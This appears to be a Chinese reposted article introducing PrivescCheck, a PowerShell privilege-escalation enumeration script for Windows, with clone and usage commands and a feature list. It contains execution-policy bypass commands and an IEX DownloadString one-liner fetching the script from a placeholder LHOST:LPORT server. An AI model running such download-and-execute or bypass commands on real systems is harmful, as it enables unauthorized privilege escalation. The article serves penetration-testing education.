privesccheckprivesccheck是一款专为windows系统设计的提权枚举脚本。该脚本能够识别目标windows系统中常见的错误安全配置，这些配置错误可能允许攻击者进行信息收集和权限提升，对漏洞利用和后渗透攻击极为有用。
该工具基于PowerUp工具开发，并增添了更多的检测机制，以减少误报。
目前，该项目仍在开发中，计划添加更多检测功能，但已经接近完成。
我个人非常喜欢PowerUp，因为它能快速枚举出目标设备中的常见漏洞，且无需依赖第三方工具。然而，PowerUp多年未更新，且有时会产生误报。
因此，在PrivescCheck脚本中，我们考虑了以下几个方面：
工具下载研究人员可以使用以下命令将项目源码克隆到本地：
git clone https://github.com/itm4n/PrivescCheck.git
工具使用可以在PowerShell命令行控制台中运行该脚本：
创一AI
AI帮你写短视频脚本
153 查看详情
PS C:Temp> Set-ExecutionPolicy Bypass -Scope Process -ForcePS C:Temp> . .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
该工具在显示输出数据的同时，会将它们写入到一个日志文件中：
PS C:Temp> . .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:Tempresult.txt"
也可以在CMD命令行工具中使用该脚本：
C:Temp>powershell -ep bypass -c ". .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"
还可以从远程Web服务器导入并使用该脚本：
C:Temp>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"
功能介绍获取当前用户信息获取目标设备服务DLL劫持
Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改
程序/进程获取获取凭据获取注册表信息获取网络信息其他杂项* 参考来源：itm4n，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
以上就是PrivescCheck：一款针对Windows系统的提权枚举脚本的详细内容，更多请关注创想鸟其它相关文章！
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。
发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/440591.html
微信扫一扫 
支付宝扫一扫 
